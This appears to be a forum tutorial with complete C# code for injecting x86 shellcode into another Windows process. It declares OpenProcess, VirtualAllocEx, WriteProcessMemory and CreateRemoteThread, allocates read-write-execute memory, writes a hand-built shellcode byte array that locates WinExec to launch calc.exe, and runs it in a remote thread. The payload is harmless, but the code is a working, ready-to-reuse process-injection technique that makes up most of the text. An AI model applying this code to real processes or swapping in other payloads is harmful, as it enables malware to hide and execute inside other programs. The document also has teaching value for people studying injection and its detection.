Hello.
In this entry, we will see how to inject and execute ASM (shellcode) using CreateRemoteThread in x86 environment (I don't even test it on x64 since my computers all running on x86).
This API create (and execute if correct flag is provided) a thread where we put our shellcode using WriteProcessMemory.
So, the basic scheme is:
* Get process handle using OpenProcess
* Allocate memory for our shellcode using VirtualAllocEx
* Write our shellcode using WriteProcessMemory
* Create and execute a thread on our shellcode using CreateRemoteThread
* Close process and thread handle using CloseHandle
All these imports are from pinvoke.net, so thanks for this useful wiki.
Code:
[DllImport("kernel32.dll")]
public static extern IntPtr OpenProcess(ProcessAccessFlags dwDesiredAccess, bool bInheritHandle, int dwProcessId);
[DllImport("kernel32.dll")]
public static extern bool CloseHandle(IntPtr hObject);
[DllImport("kernel32.dll")]
public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out UIntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, AllocationType flAllocationType, MemoryProtection flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out uint lpThreadId);
Code:
[Flags]
public enum ProcessAccessFlags : uint {
Terminate = 0x00000001,
CreateThread = 0x00000002,
VMOperation = 0x00000008,
VMRead = 0x00000010,
VMWrite = 0x00000020,
DupHandle = 0x00000040,
SetInformation = 0x00000200,
QueryInformation = 0x00000400,
Synchronize = 0x00100000,
All = 0x001F0FFF
}
[Flags]
public enum AllocationType {
Commit = 0x00001000,
Reserve = 0x00002000,
Decommit = 0x00004000,
Release = 0x00008000,
Reset = 0x00080000,
TopDown = 0x00100000,
WriteWatch = 0x00200000,
Physical = 0x00400000,
LargePages = 0x20000000
}
[Flags]
public enum MemoryProtection {
NoAccess = 0x0001,
ReadOnly = 0x0002,
ReadWrite = 0x0004,
WriteCopy = 0x0008,
Execute = 0x0010,
ExecuteRead = 0x0020,
ExecuteReadWrite = 0x0040,
ExecuteWriteCopy = 0x0080,
GuardModifierflag = 0x0100,
NoCacheModifierflag = 0x0200,
WriteCombineModifierflag = 0x0400
}
Here is the shellcode we will use, it's a simple WinExec who exec calc.exe, I get it here.
You will have to edit the shellcode to align the stack to have a correct RET instruction and exit the thread.
If not, the application will crash.
Code:
byte[] asm = new byte[] {
0x31, 0xD2, // XOR EDX, EDX
0x52, // PUSH EDX
0x68, 0x63, 0x61, 0x6C, 0x63, // PUSH 'calc'
0x89, 0xE6, // MOV ESI, ESP
0x52, // PUSH EDX
0x56, // PUSH ESI
0x64, 0x8B, 0x72, 0x30, // MOV ESI, DWORD PTR FS:[EDX+30]
0x8B, 0x76, 0x0C, // MOV ESI, DWORD PTR DS:[ESI+C]
0x8B, 0x76, 0x0C, // MOV ESI, DWORD PTR DS:[ESI+C]
0xAD, // LODS DWORD PTR DS:[ESI]
0x8B, 0x30, // MOV ESI, DWORD PTR DS:[EAX]
0x8B, 0x7E, 0x18, // MOV EDI, DWORD PTR DS:[ESI+18]
0x8B, 0x5F, 0x3C, // MOV EBX, DWORD PTR DS:[EDI+3C]
0x8B, 0x5C, 0x1F, 0x78, // MOV EBX, DWORD PTR DS:[EDI+EBX+78]
0x8B, 0x74, 0x1F, 0x20, // MOV ESI, DWORD PTR DS:[EDI+EBX+20]
0x01, 0xFE, // ADD ESI, EDI
0x8B, 0x4C, 0x1F, 0x24, // MOV ECX, DWORD PTR DS:[EDI+EBX+24]
0x01, 0xF9, // ADD ECX, EDI
// label1:
0x0F, 0xB7, 0x2C, 0x51, // MOVZX EBP, WORD PTR DS:[ECX+EDX*2]
0x42, // INC EDX
0xAD, // LODS DWORD PTR DS:[ESI]
0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, // CMP DWORD PTR DS:[EDI+EAX], 'WinE'
0x75, 0xF1, // JNZ SHORT label1
0x8B, 0x74, 0x1F, 0x1C, // MOV ESI, DWORD PTR DS:[EDI+EBX+1C]
0x01, 0xFE, // ADD ESI, EDI
0x03, 0x3C, 0xAE, // ADD EDI, DWORD PTR DS:[ESI+EBP*4]
0xFF, 0xD7, // CALL EDI
0x58, // POP EAX (stack alignment)
0x58, // POP EAX (stack alignment)
0xC3 // RET
};
I will provide step by step code, using exception throwing (this code is used in a library I made few days ago).
Code:
int iProcessId = 1337;
IntPtr hHandle = OpenProcess(ProcessAccessFlags.All, false, iProcessId);
if (hHandle == IntPtr.Zero)
throw new ApplicationException("Cannot get process handle.");
Here, we get a process handle with all access (for no further problem) and check if the call was successful.
Code:
IntPtr hAlloc = VirtualAllocEx(hHandle, IntPtr.Zero, (uint)asm.Length, AllocationType.Commit, MemoryProtection.ExecuteReadWrite);
if (hAlloc == IntPtr.Zero)
throw new ApplicationException("Cannot allocate memory.");
Now, we allocate some memory to put our shellcode in RWX (Read/Write/Execute) mode.
Code:
UIntPtr bytesWritten = UIntPtr.Zero;
if (!WriteProcessMemory(hHandle, hAlloc, asm, (uint)asm.Length, out bytesWritten))
throw new ApplicationException("Cannot write process memory.");
if (asm.Length != (int)bytesWritten)
throw new ApplicationException("Invalid written size.");
We write process memory using our shellcode and then check if we have written the correct number of bytes.
Code:
uint iThreadId = 0;
IntPtr hThread = CreateRemoteThread(hHandle, IntPtr.Zero, 0, hAlloc, IntPtr.Zero, 0, out iThreadId);
if (hThread == IntPtr.Zero)
throw new ApplicationException("Cannot create and execute remote thread.");
And then we create and execute a thread on our shellcode and the calc.exe should appear!
Code:
CloseHandle(hThread);
CloseHandle(hHandle);
And now, we close our handles.
Instead of using complexes libraries, you can just use severals API to inject our own ASM code.
But you cannot inject directly you ASM code, you have to get opcodes before that.
Anyways, I hope this will be useful.